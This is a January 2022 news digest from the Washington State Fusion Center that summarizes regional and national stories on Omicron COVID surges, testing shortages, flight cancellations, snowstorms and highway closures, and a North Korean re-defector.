



# Washington State Fusion Center INFOCUS



TUESDAY — 4 JAN 2022

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## Events, Opportunities

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HEADLINE	01/03 Stevens Pass under avalanche of criticism
SOURCE	<a href="https://www.king5.com/article/money/business/stevens-pass-under-avalanche-of-criticism/281-3fe7f925-b01e-4c92-86ba-7f2c7438bc74">https://www.king5.com/article/money/business/stevens-pass-under-avalanche-of-criticism/281-3fe7f925-b01e-4c92-86ba-7f2c7438bc74</a>

**GIST**

SKYKOMISH, Wash. — Jeremy Rubingh has been skiing at Stevens Pass for 14 years. The last few of which have been more frustrating than fun, according to Rubingh.

“The lines are completely backed up,” Rubingh said. “They only have 3 or 4 lifts open.”

The slide started when Colorado-based Vail Resorts bought the 82-year-old resort in 2018. Since then, Rubingh claims less and less of the mountain has been open for skiing.

Rubingh said he still had to pay \$800 for an annual Epic Pass, although 60% of the terrain is closed.

“The numbers don’t lie,” Rubingh said. “Look at every single ski area in the state. Every single one has the majority of its terrain open, doesn’t have these crazy lines and every single ski area has the majority of its lifts open.”

And there are plenty of angry pass holders who agree.

Rubingh authored a change.org petition calling out Vail for what he says is mismanagement of the resort.

In just 5 days is racked up more than 26,000 signatures.

Jeremy believes so much of the resort is closed because Vail can’t find people willing to work for what the company is willing to pay.

“These employees that are running the place are heroes, but they’re not given the resources to run an actual ski area,” says Jeremy. “What we’re hearing from everyone is staff are underpaid, overworked and undervalued.”

Vail turned down KING 5’s request for an on camera interview.

Instead a corporate spokesperson sent a statement reading, in part, “We are listening to feedback carefully. Stevens Pass is working hard to address operational challenges, including staffing shortages, to open more of the mountain as quickly – and safely – as possible.”

Stevens Pass also bumped up wages last year to \$15 an hour and cut season pass prices by 20%.

Jeremy’s petition is calling for 60% refunds for pass holders since 60% of the mountain is closed.

More than anything, though, he wants Vail to treat its workers and customers better.

If not, Jeremy believes there will be “epic” consequences.

“If things are status quo there’s no way I’m buying an Epic Pass from Vail resorts again,” he says, “and I’ve heard from a lot of people who say they won’t either.”

The Vail spokesperson asks people to be patient, saying, “It’s also important to recognize that some of the challenges we are facing are complicated further as we are in the middle of one of our busiest times of the year and contend with the impact of the Omicron variant as it effects our staffing levels in a variable way. This means we haven’t been able to open as much of the mountain as we would like, and not every on-mountain restaurant is operating fully. However, it’s our intent to add terrain and services as the season continues – it’s still early yet, and we’ve been open for less than 20 days. Our teams deserve the utmost recognition – they continue to work incredibly hard and wear a variety of hats as we navigate these challenges.”

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SOURCE	<a href="https://www.king5.com/article/weather/snoqualmie-pass-hits-snowfall-milestone/281-2ae87fdb-bdbb-4548-8a1c-437a9f89007d">https://www.king5.com/article/weather/snoqualmie-pass-hits-snowfall-milestone/281-2ae87fdb-bdbb-4548-8a1c-437a9f89007d</a>
GIST	<p>SNOQUALMIE PASS, Wash. — Drivers attempting to get over Snoqualmie Pass Monday were stopped by unusually high snowfall.</p> <p>The pass has the highest snowfall in 20 years as of Jan. 3, according to the Washington State Department of Transportation (WSDOT)</p> <p>By Monday afternoon, 236 of snowfall was recorded, more than the 229 inches by Jan. 3 that was recorded in 2007 and 212 inches in 2004.</p> <p>Crews responsible for clearing roads and controlling avalanche danger start falling behind when snowfall rates hit 1 inch an hour. On Sunday night into Monday morning, snow was coming down at 2 inches per hour.</p> <p>Interstate 90 over Snoqualmie Pass closed early Monday morning between North Bend and Ellensburg due to heavy snowfall, poor visibility and avalanche danger. It reopened at 8 p.m. on Monday.</p> <p>Christine Stelly from Baytown, Texas was on her first trip to the Cascades as a driver in training when she was stopped by the closure.</p> <p>"Right now, I'm in training, having a blast," she said. "Making the best ... of a bad situation."</p> <p>A truck stop near North Bend was packed, many with drivers that arrived around 2 a.m. on Monday.</p> <p>Barry Bryant and his son, who are out of Kingston, were hauling hardware to Billings, Montana when they were stopped. Neither of them are being paid to sit around to wait for the pass to reopen.</p> <p>"I don't want to think about that kind of stuff," Bryant said. "You just got to deal with it."</p> <p>In 2019, before the COVID-19 pandemic, more than 6,300 trucks were crossing Snoqualmie Pass every day, according WSDOT. That adds up to more than \$30 billion a year.</p> <p>Monday's lengthy pass closure could have equaled millions in lost business.</p>
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HEADLINE	<b>01/03 SEA: more delays, cancelations</b>
SOURCE	<a href="https://www.kiro7.com/news/local/more-delays-cancelations-sea-tac-holiday-travel-season-winds-down/UJBMSEWAHRDPHJ6X5EBHMTBIGQ/">https://www.kiro7.com/news/local/more-delays-cancelations-sea-tac-holiday-travel-season-winds-down/UJBMSEWAHRDPHJ6X5EBHMTBIGQ/</a>
GIST	<p>SEATTLE — The trip home after the holidays proved rough for thousands of travelers, with nearly twice as many cancelations at Seattle-Tacoma International Airport Monday as the day before.</p> <p>The COVID staffing crunch affecting all airlines is one reason.</p> <p>The weather is another.</p> <p>While conditions were finally better in Seattle after a week of snow and ice, passengers returning to the Northwest found themselves contending with cancelations because of snow on the East Coast.</p> <p>Passengers connecting at Sea-Tac for flights to Alaska also ran into problems.</p> <p>"I can't get out of here until the seventh," said Rick Discher, heading home to Sitka. "This is the worst I've ever seen it. I've flown out of here a lot."</p>

Doug Koester's family tried to get home to Juneau, but there's bad weather there and a backlog of passengers.

"It's canceled for today and maybe days and days," Koester said.

Alaska Airlines canceled 81 flights Monday across its system because of workers out with COVID and the residual impacts of winter weather.

FlightAware reported more than a hundred cancellations Monday at SEA from all airlines, and more than 3,000 nationwide.

Washington, D.C. was particularly hard hit because of a snowstorm.

Passengers also missed flights leaving Sea-Tac for reasons other than weather.

Yalem Almaw arrived three hours early for the first leg of her trip to Ethiopia, only to miss it waiting in a long line at Alaska Airlines.

"There weren't enough people here to service us," she said, saying the airline should suggest an earlier arrival time.

Leyla Elazmaoui is headed for Sudan.

She missed a flight after waiting more than four hours in line at the airport for a COVID test.

"My next step is finding a new flight to New Jersey," she said.

Port of Seattle officials said more than two thousand flights, or about 12 percent, were canceled at SEA over the holidays.

The worst days were December 26th and 30th.

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HEADLINE	<b>01/03 WA House returns, mostly remote session</b>
SOURCE	<a href="https://komonews.com/news/local/wa-house-returns-to-mostly-remote-session-amid-covid-spike">https://komonews.com/news/local/wa-house-returns-to-mostly-remote-session-amid-covid-spike</a>
GIST	<p>OLYMPIA, Wash. (AP) — In response to an increase of COVID-19 cases across the state, the Washington House is scaling back the number of people allowed in the chamber for the upcoming legislative session, with an updated plan requiring a majority of lawmakers to vote remotely, as they did last year.</p> <p>When the session starts Jan. 10, two lawmakers from each caucus and the presiding officer will be allowed on the floor, two more members than were allowed last year, but fewer than an original plan released in November anticipated.</p> <p>All must show proof of vaccination and the updated plan requires any lawmaker or staffer on the floor to also verify that they have received a booster.</p> <p>All lawmakers and staff who work onsite will need to be tested three days a week, with the House covering the cost.</p>
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HEADLINE	<b>01/03 L.A. Co. ambulance delays to 911 calls</b>
SOURCE	<a href="https://www.latimes.com/california/story/2022-01-03/l-a-county-see-delays-in-911-ambulance-calls-as-omicron-taxes-hospitals">https://www.latimes.com/california/story/2022-01-03/l-a-county-see-delays-in-911-ambulance-calls-as-omicron-taxes-hospitals</a>

## GIST

Los Angeles County is beginning to see delays in ambulance response to 911 calls, as more employees are unable to work due to COVID-related illnesses and ambulances are forced to wait to offload patients at hospitals, health officials said Monday.

“People should reach out to their physicians for suggestions to treat mild COVID symptoms,” the county Department of Health Services said in a statement to The Times. “Do not seek COVID testing at emergency departments but at established sites.”

Meanwhile, hospitalizations of children with coronavirus infections in L.A. County have tripled in the last month.

There were 3.25 times as many children up to age 4 hospitalized on Christmas than on Dec. 4. Over the same period, hospitalizations of 12- to 17-year-olds were 3 times higher, while those of 5- to 11-year-olds were 1.5 times higher.

Studies have [shown](#) that the Omicron variant is less likely than Delta to infect the lungs, which in adults could reduce the possibility of pneumonia and breathing problems.

But Omicron owes its ultra-contagiousness to its prowess at infecting the upper respiratory system, and that could pose a problem for children, Dr. Scott Gottlieb, a former commissioner of the U.S. Food and Drug Administration, [told](#) CBS’ “Face the Nation” on Sunday. Toddlers, he said, “have trouble with upper-airway infections. And you’re in fact seeing more croup-like infections and bronchiolitis in New York City among children. So, that could be a challenge for young kids, and we are seeing rising hospitalizations among that pediatric segment.

“This has not been a benign disease in young children. There’s a perception that young children haven’t been hit hard to date from coronavirus. That’s just not true. We’ve recorded more than 600 pediatric deaths from COVID over the last two years,” Gottlieb said. To put that in perspective, he added, there have been only three pediatric flu deaths over the course of the pandemic.

“So this is affecting children, and particularly young children,” he said. “And this new strain could have a predilection for the upper airway, which could be a bigger challenge in young kids because of the way that it binds to the airway cells.”

To reduce coronavirus spread, health officials are urging L.A. County residents to use masks that are medical grade, such as surgical, or blue, masks or N95, KN95 or KF94s. Wearing an old, loose, cloth mask alone is less effective. Placing a cloth mask on top of a surgical one can be more effective than a surgical mask alone as it tightens the fit.

Officials on Monday urged people to avoid going to the emergency room unless they have a true medical emergency.

“While we continue to experience the surge in cases, [the Department of] Public Health is reminding residents to avoid visiting the emergency room unless they need emergency medical care. Residents should not be visiting the emergency department solely to get a COVID test or for minor complaints that could be resolved through their primary care physician,” the county said in a statement.

“Emergency room visits should be reserved for those patients who are feeling severely ill — for example, those who are short of breath — or who have serious concerns about their health and who require immediate emergency care.”

L.A. County reported 16,269 new coronavirus cases Monday, an artificially low tally due to delays in reporting over the New Year’s weekend.

The county recorded 23,553 new cases Saturday and 21,200 more Sunday, far above last winter’s peak average of 16,000 a day. Those weekend numbers are also likely to be undercounts due to the holiday.

About 22.5% — more than 1 in 5 — L.A. County residents getting tested over the past week were positive for the coronavirus. The transmission rate in Los Angeles County is now estimated to be greater than at any point since the early months of the pandemic, as cases explode across California. Every infected person in L.A. County is transmitting the virus to an average of two others, according to state estimates published Monday afternoon. During last winter's surge, the estimated transmission rate never exceeded 1.4, according to the county Department of Health Services.

L.A. school officials have [ordered](#) students and staff to undergo mandatory coronavirus testing before returning to campus Jan. 10 after winter break. Health officials urged that all staff and students be tested before or during the first few days of school.

Employees at all public and private schools in L.A. County will have to wear medical-grade masks at work, and students and staff must wear masks outdoors in crowded spaces, under tightened rules [issued](#) recently.

L.A. County Public Health Director Barbara Ferrer said in a statement that staff, teachers and students should get booster shots as soon as they are eligible. Boosters are available for those age 16 and older.

"An important protection from transmission of this airborne virus are well-fitting, higher-grade masks, and these should be worn by everyone at schools when indoors and in outdoor crowded spaces. And where possible, children and staff should have a negative COVID-19 test the first week they return to the classroom," Ferrer said.

The federal government has begun the process to make younger teenagers [eligible](#) for booster shots. The U.S. Food and Drug Administration on Monday [authorized](#) boosters for 12- to 15-year-olds, but the U.S. Centers for Disease Control and Prevention must make a recommendation before the shots are made available for that age group.

"The data shows there are no new safety concerns following a booster in this population," the FDA said in a statement. The agency said there were no new cases of myocarditis, an inflammation in the heart, reported.

The FDA also cut from six months to five months the authorized amount of time between the second dose of the Pfizer-BioNTech primary vaccination series and a booster shot, for anyone age 12 and older.

In addition, the agency authorized certain children age 5 to 11 with weakened immune systems to receive a third dose of a COVID-19 vaccine.

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HEADLINE	<b>01/04 NKorea re-defector struggled in South</b>
SOURCE	<a href="https://www.reuters.com/world/asia-pacific/returned-nkorea-defector-struggled-resettle-south-lived-meagre-life-2022-01-04/">https://www.reuters.com/world/asia-pacific/returned-nkorea-defector-struggled-resettle-south-lived-meagre-life-2022-01-04/</a>
GIST	<p>SEOUL, Jan 4 (Reuters) - A former North Korean defector who made a risky and rare cross-border return home last week had struggled in South Korea, officials and media reports said on Tuesday, sparking fresh debate over how such defectors are treated in their new lives.</p> <p>South Korea's military identified <a href="#">the man</a> who crossed the heavily armed Demilitarised Zone (DMZ) separating the two Koreas on Saturday as <a href="#">a North Korean who defected to the South</a> in a similar area just over a year ago.</p> <p>The man's plight shed new light on the lives of re-defectors and raised questions about whether they had received adequate support after making the dangerous journey from the impoverished, tightly controlled North to the wealthy, democratic South.</p>



The re-defector was in his 30s and making a poor living while working as a janitor, a military official said.

"I would say he was classified as lower class, barely scraping a living," the official said, declining to elaborate citing privacy concerns.

Officials, who said they saw little risk of the man being a North Korean spy, have launched an inquiry into how he evaded guards despite being caught on surveillance cameras hours before crossing the border.

North Korean officials have not commented on the incident and state media have not reported it.

#### LITTLE INTERACTION

South Korea's Yonhap news agency reported police in the northern Seoul district of Nowon who provided safety protection and other care to him raised concerns in June over his possible re-defection, but no action was taken due to a lack of concrete evidence.

Police declined to comment. An official at Seoul's Unification Ministry handling cross-border affairs said on Tuesday the re-defector had received government support for personal safety, housing, medical treatment and employment.

The man had little interaction with neighbours, and was seen throwing away his belongings a day before he crossed the border, Yonhap reported.

"He was taking out a mattress and bedding to garbage dumps on that morning, and it was strange because they were all too new," a neighbour was quoted by Yonhap as saying. "I thought about asking him to give it to us, but ended up not doing that, because we've never said hi to each other."

As of September, around 33,800 North Koreans had resettled in South Korea, daring a long, risky journey - usually via China - in pursuit of a new life while fleeing poverty and oppression at home.

Since 2012, only 30 defectors are confirmed to have returned to the North, according to the Unification Ministry. But defectors and activists say there could be many more unknown cases among those who struggled to adapt to life in the South.

About 56% of defectors are categorised as low income, according to ministry data submitted to defector-turned-lawmaker Ji Seong-ho. Nearly 25% are in the lowest bracket subject to national basic livelihood subsidies, six times the ratio of the general population.

In a survey released last month by the Database Center For North Korean Human Rights and NK Social Research in Seoul, around 18% of 407 defectors polled said they were willing to return to the North, most of them citing nostalgia.

"There's a complex range of factors including longing for families left in the North, and emotional and economic difficulties that emerge while resettling," the Unification Ministry official said, vowing to examine policy and improve support for defectors.

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HEADLINE	01/03 Australia cases surge; overloads testing
SOURCE	<a href="https://www.reuters.com/world/asia-pacific/australias-covid-19-cases-surge-hospitalisations-hit-pandemic-high-nsw-2022-01-03/">https://www.reuters.com/world/asia-pacific/australias-covid-19-cases-surge-hospitalisations-hit-pandemic-high-nsw-2022-01-03/</a>
GIST	SYDNEY, Jan 4 (Reuters) - Australian COVID-19 cases soared to a pandemic record on Tuesday as the Omicron variant ripped through most of the country, driving up hospitalisation rates as the once-formidable testing regime buckled under lengthy wait times and stock shortages.

The country which for a year and half used a system of constant testing, contact tracing and lockdowns to squash most outbreaks, clocked 47,799 new infections, up nearly a third on Monday's number which was also a record.

Political leaders have pointed to a largely successful, if slow, vaccination rollout and few deaths, relative to new case numbers - four on Tuesday. But hospitalisations, another closely watched measure, are higher than at any other time in the pandemic: 1,344 in the most populous state New South Wales.

In Victoria, the second state, the authorities said one in four people showing up for a swab test was returning a positive result. Almost everyone in that state's intensive care units was unvaccinated, the authorities said. Victoria had 14,020 new cases, nearly double the previous day's count.

Other states which had spent much of the pandemic with domestic borders closed and long stretches without a new case, showed similar numbers. A month ago, Queensland reported a day with six new cases; on Tuesday it recorded 5,699.

Across the country, political leaders have been re-shaping their messaging for a population that is more than 90% vaccinated and a variant that some medical experts say is more transmissible but less virulent than previous strains.

After nearly two years of campaigning for widespread testing, the authorities want asymptomatic people to bypass government-funded clinics, where high volumes have blown out turnaround times to several days, and take their own rapid antigen tests.

But that has brought a new pressure point: an explosion in sales of home testing kits, resulting in reports of stockpiling, empty shelves and inflated prices on the few kits which have not yet been sold. Prime Minister Scott Morrison has ruled out subsidising the personal testing kits, citing a heightened role for "personal responsibility".

"The problem at the moment is that the lack of (rapid antigen tests) is completely hampering 'personal responsibility' and it is a frustration that is a glaring hole in the current management of COVID," Chris Moy, vice president of the Australian Medical Association, told ABC Radio on Tuesday, using Morrison's phrase.

Opposition leader Anthony Albanese, who most polls suggest will defeat Morrison at an election due within months, said that "when it comes to healthcare, and rapid antigen testing, the prime minister has said that you are on your own".

The country's competition regulator said it would set up a team to look into complaints about allegations of price gouging for the at-home rapid antigen tests.

Despite the spike in infections fuelled by Omicron, dual-dose vaccination levels of nearly 92% in people above 16 have helped Australia to keep the death rate lower than the previous virus outbreaks.

Authorities do not specify the coronavirus variant that caused the deaths, although New South Wales officials said 74% of patients in the state's intensive care units since Dec. 16 were infected with the Delta variant.

The record spike in infections and hospitalisations comes as 2 million more Australians became eligible for their COVID-19 booster shots from Tuesday after authorities shortened the wait time between second and third shots to four months.

Just over 2.5 million Australians have so far received their booster shot, which health officials hope will keep rates of death and serious illness low.



	Australia crossed half a million coronavirus cases since the pandemic began, with nearly 50% in the last two weeks. Still, its 547,160 cases and 2,270 deaths, from a population of 25 million, are lower than numbers seen in many developed countries.
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HEADLINE	<b>01/04 Drivers stuck 15 hours, I-95 shutdown in VA</b>
SOURCE	<a href="https://apnews.com/article/snow-storm-weather-195-virginia-660346cff578c655186ac517fb45f17f">https://apnews.com/article/snow-storm-weather-195-virginia-660346cff578c655186ac517fb45f17f</a>
GIST	<p>RUTHER GLEN, Va. (AP) — Hundreds of motorists have been stuck in the snow for more than 15 hours along a 50-mile stretch of Interstate 95 in Virginia after a crash involving six tractor-trailers, authorities said.</p> <p>The Virginia Department of Transportation confirmed both directions of I-95 remained shut down between Ruther Glen, Virginia, in Caroline County and exit 152 in Dumfries, Prince William County.</p> <p>The tractor-trailer collision Monday afternoon caused no injuries, but brought traffic to a standstill along the U.S. East Coast's main north-south highway, and it became impossible to move as the snow accumulated. Hours passed with hundreds of motorists posting increasingly desperate messages on social media about running out of fuel, food and water.</p> <p>"Crews will start taking people off at any available interchange to get them - for the southbound queue 143 (Garrisonville) and 140 (Courthouse) and northbound at exit 104 and exit 110. NB is 104 (Carmel Church) and 110 is Ladysmith," VDOT tweeted at 5:20 a.m. Tuesday.</p> <p>The agency said Monday that emergency crews were responding to more than 600 accidents in the winter weather. Compounding the problem, traffic cameras went offline as much of central Virginia lost power in the storm, the agency said. More than 281,000 customers remained without electricity on Tuesday.</p> <p>"I've never seen anything like it," Emily Clementson, a truck driver, told NBC Washington. She urged stuck motorists to ask truck drivers if they have food or water to share, since many carry extra supplies in case they get stranded.</p> <p>The agency tweeted to the stranded drivers on Monday that reinforcements were arriving from other states to help get them moving again.</p> <p>"We wish we had a timetable, ETA or an educated guess on when travel will resume on I-95. It's at a standstill in our area with multiple incidents," the tweet read. "Its frustrating &amp; scary. Please know our crews don't stop. Crews will work 24/7 until ALL state-maintained roads are safe for travel."</p>
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HEADLINE	<b>01/04 US sets global record: 1M cases in a day</b>
SOURCE	<a href="https://time.com/6132659/us-record-covid-cases/">https://time.com/6132659/us-record-covid-cases/</a>
GIST	<p>More than a million people in the U.S. were diagnosed with Covid-19 on Monday as a tsunami of omicron swamps every aspect of daily American life.</p> <p>The highly mutated variant drove U.S. cases to a record, the most — by a large margin — that any country has ever reported. Monday's number is almost double the previous record of about 590,000 set just four days ago in the U.S., which itself was a doubling from the prior week.</p> <p>It is also more than twice the case count seen anywhere else at any time since the pandemic began more than two years ago. The highest number outside the U.S. came during India's delta surge, when more than 414,000 people were diagnosed on May 7, 2021.</p> <p>The stratospheric numbers being posted in the U.S. come even as many Americans are relying on tests they take at home, with results that aren't reported to official government authorities. That means the record is surely a significant under-estimate.</p>

While surging cases haven't yet translated into severe infections and skyrocketing deaths, their impact has been felt across the country as the newly-infected isolate at home. The results are canceled flights, closed schools and offices, overwhelmed hospitals and strangled supply chains.

The data from Johns Hopkins University is complete as of midnight eastern time in Baltimore, and delays in reporting over the holidays may have played a role in the rising rates.

The surge is leading authorities to mull a revision of some measures put in place to help guide the nation through the latest phase of the outbreak. While the U.S. Centers for Disease Control and Prevention shortened the isolation period to five days for asymptomatic people who test positive for Covid-19, the agency may add that they should get a negative test result before venturing out again, officials said.

The outbreak is also causing companies to halt their return-to-office steps, with the likes of Goldman Sachs Group Inc. and JPMorgan Chase & Co. adopting the more cautious stance of encouraging staff to resume working from home at the start of the new year.

The silver lining is that deaths from Covid haven't similarly soared. Early studies show the omicron variant spreads faster than earlier strains but causes milder symptoms.

The outlook for 2022 depends on whether the death toll follows cases and picks up in the weeks to come, or if evidence suggesting the omicron wave will be less severe holds up as more real-world data emerges.

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HEADLINE	<b>01/03 Some testing sites close: full capacity</b>
SOURCE	<a href="https://www.q13fox.com/news/some-covid-testing-sites-close-for-the-day-due-to-full-capacity">https://www.q13fox.com/news/some-covid-testing-sites-close-for-the-day-due-to-full-capacity</a>
GIST	<p><b>WASHINGTON</b> - Some COVID-19 testing sites in western Washington have closed for the day on Monday after reaching full capacity as demand for testing increases.</p> <p>The testing site at the Washington State Fairgrounds in Puyallup <a href="#">opened for the first time on Monday</a> and closed down the same day when it reached full capacity.</p> <p>Around 2:45 p.m., the Puyallup Police Department said that there was a <a href="#">three-hour wait to get tested at the fairgrounds</a>. Several minutes later, the police department tweeted that the location would close for the day due to being full.</p> <p>The <a href="#">testing site at the Fairgrounds</a> will open again on Tuesday.</p> <p>Pierce County <a href="#">opened the testing site</a> citing high demand for tests as the state sees a surge in COVID cases.</p> <p><b>Pierce County to open COVID testing site in Puyallup, citing high demand</b> Pierce County is opening a COVID-19 testing site in Puyallup, citing high demand as the omicron variant creates a surge in COVID cases.</p> <p>Similarly, in Seattle, testing sites at Seattle Public Schools closed on Monday due to reaching full capacity. <a href="#">School was canceled for SPS students and staff on Monday</a> to allow for rapid antigen COVID testing. Testing was taking place at 12 middle school locations and closed at 3:30 p.m. due to the amount of people at the sites.</p> <p>The district offered testing as students returned from winter break. Testing is highly encouraged, the district said, but not required to return to school.</p> <p>Additional testing will be available for students throughout next week at each school site with parent consent.</p>

Washington state has seen an increase in COVID testing as the Omicron variant creates a surge of cases. That, along with the end of the holiday season and the start of schools for the new year has greatly increased demand for testing.

On Sunday, the [demand was so great in Pierce County](#), the line at the Lakewood testing site closed at 4 p.m., even though the actual testing site does not close until 5:30 pm. The site was also closed as of 2:45 p.m. on Monday.

According to the Washington State Department of Health, the state of Washington is [seeing a spike in COVID-19 cases](#), and transmission is expected to rise in the coming weeks.

While it is still too early to tell how much of the increase is due to Omicron, epidemiologists with the DOH say that Omicron prevalence is increasing and is most likely the dominant strain.

Despite a [recent increase in testing around the holidays](#), public health officials say the increase in new cases significantly outpaces the increase in testing. The number of cases is expected to continue to increase through the new year.

If you have an appointment for testing or plan on being a 'walk-in,' make sure you check ahead to see if your location is closed.

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HEADLINE	<b>01/04 Germany: violence flares pandemic protests</b>
SOURCE	<a href="https://www.seattlepi.com/news/article/Violence-flares-at-pandemic-protests-in-Germany-16747689.php">https://www.seattlepi.com/news/article/Violence-flares-at-pandemic-protests-in-Germany-16747689.php</a>
GIST	<p>BERLIN (AP) — Police in Germany have reported sporadic violence at demonstrations against the country's pandemic restrictions, with one protester in the eastern town of Lichtenstein biting an officer and another attempting to steal a service weapon.</p> <p>Tens of thousands of people in total took to the streets in scores of German towns and cities for weekly marches that have organizers have labeled "strolls" in an attempt to bypass restrictions on public gatherings. Counter-protests were also held in towns such as Rostock and Trier, the dpa news agency reported.</p> <p>Most of the rallies passed peacefully, though many broke rules on social distancing, prompting officers to intervene.</p> <p>Police in the eastern state of Saxony said the incident late Monday in Lichtenstein, about 20 kilometers (12 miles) west of Chemnitz, occurred when officers tried to pull about 60 rowdy people out of a march to check their identities. Several of the protesters attacked police and sprayed them with chemical irritants.</p> <p>"One person attempted to seize an officer's service weapon and another police officer suffered a bite wound from a participant of the gathering," Saxony police said in a statement.</p> <p>In Bautzen, further east, some participants of a 600-strong march attempted to break through a police cordon. Officers responded with pepper spray and batons.</p> <p>In Magdeburg, the capital of neighboring Saxony-Anhalt state, protesters hurled bottles and fireworks at police. No officers were injured, police said.</p> <p>The protests took place before a meeting Tuesday of Germany's pandemic expert panel, which is expected to submit new recommendations to the government for how to respond to the outbreak. A meeting of state and federal leaders is scheduled for Friday.</p>

	<p>The national disease control center, the Robert Koch Institute, said Tuesday that 30,561 new coronavirus cases were reported in the past 24 hours, over 9,000 more than a week earlier. The officially recorded infection rate was 239.9 new cases per 100,000 residents over the past week.</p> <p>The health minister has said the real rate is probably two or three times higher because of patchy testing and reporting over the holiday period.</p> <p>At least 356 new deaths from COVID-19 were reported Tuesday.</p>
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<b>HEADLINE</b>	<b>01/03 Mason Co. snow, downed power lines</b>
<b>SOURCE</b>	<a href="https://mynorthwest.com/3299745/mason-county-snow-downed-power-lines/">https://mynorthwest.com/3299745/mason-county-snow-downed-power-lines/</a>
<b>GIST</b>	<p>Heavy snow and high winds packed such a punch to Mason County. Now utility crews are having to cut their way through fallen trees on roadways in order to reach downed power lines.</p> <p>“It’s a mess,” says Kristin Masteller, General Manager of Mason County PUD-1. “There are poles and lines down. Dozens and dozens of them. The list is ginormous. It’s going to take us a couple days to get to all of those, get them cleaned up and everybody back in service.”</p> <p>As for the lines, themselves, “Assume they’re energized,” Masteller said. “Don’t go anywhere near them. We’ve had some people ask if they could move them off of their cars and whatnot. NO. Do not touch them.”</p> <p>Masteller says outside utility crews are coming in to assist in an effort to restore power as soon as possible, but they may have to wait until Tuesday or longer for it to be restored.</p>
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<b>HEADLINE</b>	<b>01/03 Air travel chaos: cancelations, delays</b>
<b>SOURCE</b>	<a href="https://www.washingtonpost.com/transportation/2022/01/03/omicron-weather-new-years-flight-cancellations/">https://www.washingtonpost.com/transportation/2022/01/03/omicron-weather-new-years-flight-cancellations/</a>
<b>GIST</b>	<p>Air travelers found little relief Monday as flight cancellations that began Christmas Eve stretched into the new year, with a new batch of snowstorms causing widespread delays in the nation’s capital and at New York-area airports, further straining an already stressed aviation system.</p> <p>The day began with over 2,000 cancellations of flights within, to and from the United States, according to data tracking service FlightAware. But Monday followed a familiar pattern with the number of cancellations growing as the day wore on. Ultimately, more than 3,000 flights were canceled — the most since the holiday travel disruptions began — while topping the 2,700 flights that didn’t operate on Sunday.</p> <p>Since Dec. 24, when the first signs of trouble driven by the omicron variant of the coronavirus began to emerge, more than 15,000 U.S. flights have been canceled. Wintry weather at busy hubs this week fueled more disruptions as an 11-day meltdown showed no signs of waning at the nation’s airports.</p> <p>Monday’s increase in cancellations was driven, in part, by storms in the Northeast at a time when other major hubs, including Chicago and Atlanta, were recovering from weather this past weekend.</p> <p>The Washington region’s three major airports were hit hard Monday by the area’s first major snowstorm of the season. As conditions at Reagan National and Baltimore Washington International Marshall deteriorated, the Federal Aviation Administration issued an hours-long ground stop because of snow and ice, halting operations and preventing the departure of flights scheduled to land at the airports. By early afternoon, inbound traffic at both airports was allowed to resume.</p> <p>As the snow stopped falling, 85 percent of National’s scheduled departures were canceled Monday, according to FlightAware. That number stood at 44 percent at BWI, the region’s busiest airport. Washington Dulles International fared slightly better, but even so, more than a quarter of scheduled departures were canceled.</p>

Southwest Airlines canceled the most flights Monday among U.S. carriers. The airline's efforts to recover from weekend storms in the Midwest that affected its Chicago operations were further hampered by snowy weather at BWI, another of its hubs. According to FlightAware, the carrier canceled more than 600 flights, or 16 percent, of those scheduled Monday, up from 11 percent a day earlier.

Regional carrier SkyWest also continued to struggle, reporting 368 flights were canceled by early evening, compared to 570 cancellations Sunday.

The pain was spread widely among U.S. airlines Monday, with most reporting cancellations. Passengers flying American Airlines, Delta Air Lines, United Airlines, Frontier Airlines and Spirit Airlines were affected.

The weather-related problems in recent days have added to airlines' woes as they contend with staffing shortages — the result of a growing number of workers testing positive for the coronavirus.

Some airlines showed slight improvements: JetBlue reported about 151 cancellations Monday, down from 178 on Sunday. The carrier announced last week it would preemptively cancel 1,280 flights through Jan. 13.

Derek Dombrowski, a JetBlue spokesman, said in an email that the airline entered the holiday season with its highest staffing levels of the coronavirus pandemic. But like many businesses, he said, the airline has seen a surge in sick calls because of the omicron variant. He said JetBlue expects coronavirus cases will continue to surge for the next few weeks in New York, where it is based.

Henry Harteveltdt, an aviation analyst with Atmosphere Research Group, said other carriers could follow JetBlue's lead in canceling flights days before their departure.

"If we see omicron still raging, we may see airlines announce further cancellations in their schedule for the remainder of January and possibly into February as well," he said. "Those are smart, prudent business decisions. It is better for the airlines to make adjustments now and work with passengers to get everyone rebooked on flights that will work rather than get caught up in a chaotic environment like we've seen this past week where everything is reactive."

The Transportation Security Administration also reported a rise in coronavirus infections. On Monday, the agency had an additional 831 active cases, a 46 percent increase from Sunday, when it reported 1,778 cases. The agency noted that the increase is probably due to delays in reporting, rather than a sudden spike in infections.

The FAA also has warned of potential delays amid rising infections among its workforce, which includes air traffic controllers.

Weather is frequently a factor during the holiday travel season, and airlines routinely plan for potential disruptions. But the coronavirus — particularly the omicron variant, which health experts say spreads more quickly — has played havoc with their ability to plan.

Reeling from high-profile meltdowns this summer and fall, many carriers, including American and Southwest airlines, had offered employees bonus pay for working during the holidays and additional pay for those with "perfect attendance." But the promise of higher pay has been thwarted by omicron, which surfaced as the industry was celebrating the successful and relatively trouble-free Thanksgiving travel period.

High-profile cancellations have done little to curb enthusiasm for air travel. The TSA reported screening just more than 2 million passengers Sunday, compared with 1.3 million on the same day in 2021, which fell on a Saturday.

	<p>With many returning to work and school, January is typically a slower month for leisure travel. In pre-pandemic times, more seats were filled by business travelers, but with many companies delaying returns to the office, those seats could help alleviate a backlog in passengers trying to get to their destinations.</p> <p>Carriers were counting on a robust holiday travel season to help boost their balance sheets, but disruptions that have stretched for nearly two weeks could hamper airlines' return to profitability. Delta Air Lines will be the first carrier to report fourth-quarter earnings later this month.</p> <p>Flight disruptions this summer and fall proved costly for several carriers. After running into operational issues in July and early August, Spirit Airlines was forced to cancel more than 2,800 flights, which resulted in a loss of \$50 million. Southwest Airlines said an operational meltdown in early October forced the cancellation of more than 2,000 flights, costing it an estimated \$75 million.</p>
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<b>HEADLINE</b>	<b>01/03 DOH: 882,144 cases, 9853 deaths</b>
<b>SOURCE</b>	<a href="https://www.thenewstribune.com/news/coronavirus/article257015382.html">https://www.thenewstribune.com/news/coronavirus/article257015382.html</a>
